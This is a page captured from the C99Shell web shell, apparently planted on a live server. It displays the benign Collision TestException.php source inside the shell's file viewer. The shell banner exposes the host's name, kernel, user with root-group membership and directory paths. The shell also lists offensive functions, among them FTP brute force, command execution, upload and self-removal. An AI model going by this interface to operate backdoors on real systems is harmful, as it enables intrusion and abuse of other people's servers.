!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/nunomaduro/collision/src/Exceptions/   drwxr-xr-x
Free 28.75 GB of 117.98 GB (24.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TestException.php (5.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
NunoMaduro\Collision\Exceptions;

use 
PHPUnit\Event\Code\Throwable;
use 
PHPUnit\Framework\ExpectationFailedException;
use 
ReflectionClass;

/**
 * @internal
 */
final class TestException
{
    private const 
DIFF_SEPARATOR '--- Expected'.PHP_EOL.'+++ Actual'.PHP_EOL.'@@ @@'.PHP_EOL;

    
/**
     * Creates a new Exception instance.
     */
    
public function __construct(
        private readonly 
Throwable $throwable,
        private readonly 
bool $isVerbose
    
) {
        
//
    
}

    public function 
getThrowable(): Throwable
    
{
        return 
$this->throwable;
    }

    
/**
     * @return class-string
     */
    
public function getClassName(): string
    
{
        return 
$this->throwable->className();
    }

    public function 
getMessage(): string
    
{
        if (
$this->throwable->className() === ExpectationFailedException::class) {
            
$message $this->throwable->description();
        } else {
            
$message $this->throwable->message();
        }

        
$regexes = [
            
'To contain' => '/Failed asserting that \'(.*)\' contains "(.*)"\./s',
            
'Not to contain' => '/Failed asserting that \'(.*)\' does not contain "(.*)"\./s',
        ];

        foreach (
$regexes as $key => $pattern) {
            
preg_match($pattern$message$matchesPREG_OFFSET_CAPTURE0);

            if (
count($matches) === 3) {
                
$message $this->shortenMessage($matches$key);

                break;
            }
        }

        
// Diffs...
        
if (str_contains($messageself::DIFF_SEPARATOR)) {
            
$diff '';
            
$lines explode(PHP_EOLexplode(self::DIFF_SEPARATOR$message)[1]);

            foreach (
$lines as $line) {
                
$diff .= $this->colorizeLine($linestr_starts_with($line'-') ? 'red' 'green').PHP_EOL;
            }

            
$message str_replace(explode(self::DIFF_SEPARATOR$message)[1], $diff$message);
            
$message str_replace(self::DIFF_SEPARATOR''$message);
        }

        return 
$message;
    }

    private function 
shortenMessage(array $matchesstring $key): string
    
{
        
$actual $matches[1][0];
        
$expected $matches[2][0];

        
$actualExploded explode(PHP_EOL$actual);
        
$expectedExploded explode(PHP_EOL$expected);

        if ((
$countActual count($actualExploded)) > && ! $this->isVerbose) {
            
$actualExploded array_slice($actualExploded03);
        }

        if ((
$countExpected count($expectedExploded)) > && ! $this->isVerbose) {
            
$expectedExploded array_slice($expectedExploded03);
        }

        
$actualAsString '';
        
$expectedAsString '';
        foreach (
$actualExploded as $line) {
            
$actualAsString .= PHP_EOL.$this->colorizeLine($line'red');
        }

        foreach (
$expectedExploded as $line) {
            
$expectedAsString .= PHP_EOL.$this->colorizeLine($line'green');
        }

        if (
$countActual && ! $this->isVerbose) {
            
$actualAsString .= PHP_EOL.$this->colorizeLine(sprintf('... (%s more lines)'$countActual 3), 'gray');
        }

        if (
$countExpected && ! $this->isVerbose) {
            
$expectedAsString .= PHP_EOL.$this->colorizeLine(sprintf('... (%s more lines)'$countExpected 3), 'gray');
        }

        return 
implode(PHP_EOL, [
            
'Expected: '.ltrim($actualAsStringPHP_EOL.'  '),
            
'',
            
'  '.$key.': '.ltrim($expectedAsStringPHP_EOL.'  '),
            
'',
        ]);
    }

    public function 
getCode(): int
    
{
        return 
0;
    }

    
/**
     * @throws \ReflectionException
     */
    
public function getFile(): string
    
{
        if (! isset(
$this->getTrace()[0])) {
            return (string) (new 
ReflectionClass($this->getClassName()))->getFileName();
        }

        return 
$this->getTrace()[0]['file'];
    }

    public function 
getLine(): int
    
{
        if (! isset(
$this->getTrace()[0])) {
            return 
0;
        }

        return (int) 
$this->getTrace()[0]['line'];
    }

    public function 
getTrace(): array
    {
        
$frames explode("\n"$this->getTraceAsString());

        
$frames array_filter($frames, fn ($trace) => $trace !== '');

        return 
array_map(function ($trace) {
            if (
trim($trace) === '') {
                return 
null;
            }

            
$parts explode(':'$trace);
            
$line array_pop($parts);
            
$file implode(':'$parts);

            return [
                
'file' => $file,
                
'line' => $line,
            ];
        }, 
$frames);
    }

    public function 
getTraceAsString(): string
    
{
        return 
$this->throwable->stackTrace();
    }

    public function 
getPrevious(): ?self
    
{
        if (
$this->throwable->hasPrevious()) {
            return new 
self($this->throwable->previous(), $this->isVerbose);
        }

        return 
null;
    }

    public function 
__toString()
    {
        return 
$this->getMessage();
    }

    private function 
colorizeLine(string $linestring $color): string
    
{
        return 
sprintf('  <fg=%s>%s</>'$color$line);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0085 ]--